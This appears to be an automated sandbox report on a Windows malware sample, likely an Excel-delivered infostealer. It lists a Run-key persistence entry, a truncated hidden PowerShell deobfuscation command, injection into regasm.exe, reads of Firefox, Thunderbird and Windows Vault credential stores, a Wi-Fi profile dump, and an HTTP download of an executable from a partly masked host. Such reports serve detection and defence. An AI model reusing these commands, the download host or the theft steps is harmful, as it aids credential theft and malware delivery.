Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'GQBIf' = '%APPDATA%\GQBIf\GQBIf.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function rbda15 {param($p9b8ba4)$a68d69='vaf9b5';$a6fab1='';for ($i=0; $i -lt $p9b8ba4.length;$i+=2){$tdf5ab9=[convert]::ToByte($p9b8ba4.Substring($i,2),16);$a6fab1+=[char...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe
Reads files which store third party applications passwords
- %APPDATA%\mozilla\firefox\profiles.ini
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\1xdlnqin.0.cs
- %TEMP%\--yccdzc.out
- %TEMP%\csce7a3.tmp
- %TEMP%\rese7b3.tmp
- %TEMP%\--yccdzc.dll
- %TEMP%\ta3jmfez.0.cs
- %TEMP%\ta3jmfez.cmdline
- %TEMP%\ta3jmfez.out
- %TEMP%\csc155.tmp
- %TEMP%\res165.tmp
- %TEMP%\ta3jmfez.dll
- %TEMP%\olsnm-vm.0.cs
- %TEMP%\olsnm-vm.cmdline
- %TEMP%\olsnm-vm.out
- %TEMP%\csc177d.tmp
- %TEMP%\res178d.tmp
- %TEMP%\olsnm-vm.dll
- %APPDATA%\te4e6.exe
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.word\~wrf{56cc7b36-e674-41b1-89c6-8d12400d5579}.tmp
- %APPDATA%\gqbif\gqbif.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %TEMP%\1xdlnqin.dll
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %TEMP%\resce30.tmp
- %TEMP%\--yccdzc.cmdline
- %TEMP%\1xdlnqin.cmdline
- %TEMP%\1xdlnqin.out
- %TEMP%\peczaxqp.0.cs
- %TEMP%\peczaxqp.cmdline
- %TEMP%\peczaxqp.out
- %TEMP%\-6xsfus-.0.cs
- %TEMP%\-6xsfus-.cmdline
- %TEMP%\-6xsfus-.out
- %TEMP%\fxgf5u5i.0.cs
- %TEMP%\fxgf5u5i.cmdline
- %TEMP%\fxgf5u5i.out
- %TEMP%\cscaa3c.tmp
- %TEMP%\resaa6c.tmp
- %TEMP%\-6xsfus-.dll
- %TEMP%\cscc093.tmp
- %TEMP%\cscc296.tmp
- %TEMP%\resc0a3.tmp
- %TEMP%\resc2a7.tmp
- %TEMP%\fxgf5u5i.dll
- %TEMP%\peczaxqp.dll
- %TEMP%\--yccdzc.0.cs
- %TEMP%\cscce00.tmp
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\resaa6c.tmp
- %TEMP%\peczaxqp.pdb
- %TEMP%\peczaxqp.dll
- %TEMP%\rese7b3.tmp
- %TEMP%\csce7a3.tmp
- %TEMP%\--yccdzc.out
- %TEMP%\--yccdzc.0.cs
- %TEMP%\--yccdzc.pdb
- %TEMP%\--yccdzc.dll
- %TEMP%\--yccdzc.cmdline
- %TEMP%\res165.tmp
- %TEMP%\csc155.tmp
- %TEMP%\ta3jmfez.dll
- %TEMP%\ta3jmfez.0.cs
- %TEMP%\ta3jmfez.out
- %TEMP%\ta3jmfez.pdb
- %TEMP%\ta3jmfez.cmdline
- %TEMP%\res178d.tmp
- %TEMP%\csc177d.tmp
- %TEMP%\olsnm-vm.cmdline
- %TEMP%\olsnm-vm.out
- %TEMP%\olsnm-vm.0.cs
- %TEMP%\peczaxqp.0.cs
- %TEMP%\olsnm-vm.pdb
- %TEMP%\peczaxqp.out
- %TEMP%\1xdlnqin.out
- %TEMP%\cscaa3c.tmp
- %TEMP%\-6xsfus-.0.cs
- %TEMP%\-6xsfus-.out
- %TEMP%\-6xsfus-.dll
- %TEMP%\-6xsfus-.cmdline
- %TEMP%\-6xsfus-.pdb
- %TEMP%\resc2a7.tmp
- %TEMP%\cscc296.tmp
- %TEMP%\resc0a3.tmp
- %TEMP%\cscc093.tmp
- %TEMP%\fxgf5u5i.cmdline
- %TEMP%\fxgf5u5i.pdb
- %TEMP%\fxgf5u5i.dll
- %TEMP%\fxgf5u5i.out
- %TEMP%\fxgf5u5i.0.cs
- %TEMP%\resce30.tmp
- %TEMP%\cscce00.tmp
- %TEMP%\1xdlnqin.0.cs
- %TEMP%\1xdlnqin.pdb
- %TEMP%\1xdlnqin.dll
- %TEMP%\1xdlnqin.cmdline
- %TEMP%\peczaxqp.cmdline
- %TEMP%\olsnm-vm.dll
Network activity
TCP
HTTP GET requests
- http://ti#######o-4209.whitesnow.jp/ok/tt.exe
UDP
- DNS ASK ti#######o-4209.whitesnow.jp
Miscellaneous
Creates and executes the following
- '%APPDATA%\te4e6.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function rbda15 {param($p9b8ba4)$a68d69='vaf9b5';$a6fab1='';for ($i=0; $i -lt $p9b8ba4.length;$i+=2){$tdf5ab9=[convert]::ToByte($p9b8ba4.Substring($i,2),16);$a6fab1+=[char...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1xdlnqin.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\peczaxqp.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-6xsfus-.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fxgf5u5i.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAA6C.tmp" "%TEMP%\CSCAA3C.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC0A3.tmp" "%TEMP%\CSCC093.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC2A7.tmp" "%TEMP%\CSCC296.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCE30.tmp" "%TEMP%\CSCCE00.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\--yccdzc.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE7B3.tmp" "%TEMP%\CSCE7A3.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ta3jmfez.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES165.tmp" "%TEMP%\CSC155.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\olsnm-vm.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES178D.tmp" "%TEMP%\CSC177D.tmp"' (with hidden window)
Executes the following
- '%ProgramFiles%\microsoft office\office14\excel.exe' -Embedding
- '%ProgramFiles%\microsoft office\office14\excelcnv.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES178D.tmp" "%TEMP%\CSC177D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\olsnm-vm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES165.tmp" "%TEMP%\CSC155.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ta3jmfez.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE7B3.tmp" "%TEMP%\CSCE7A3.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\--yccdzc.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESCE30.tmp" "%TEMP%\CSCCE00.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC2A7.tmp" "%TEMP%\CSCC296.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESC0A3.tmp" "%TEMP%\CSCC093.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESAA6C.tmp" "%TEMP%\CSCAA3C.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\fxgf5u5i.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\-6xsfus-.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\peczaxqp.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1xdlnqin.cmdline"
- '%WINDIR%\microsoft.net\framework\v2.0.50727\regasm.exe'
- '%WINDIR%\syswow64\netsh.exe' wlan show profile
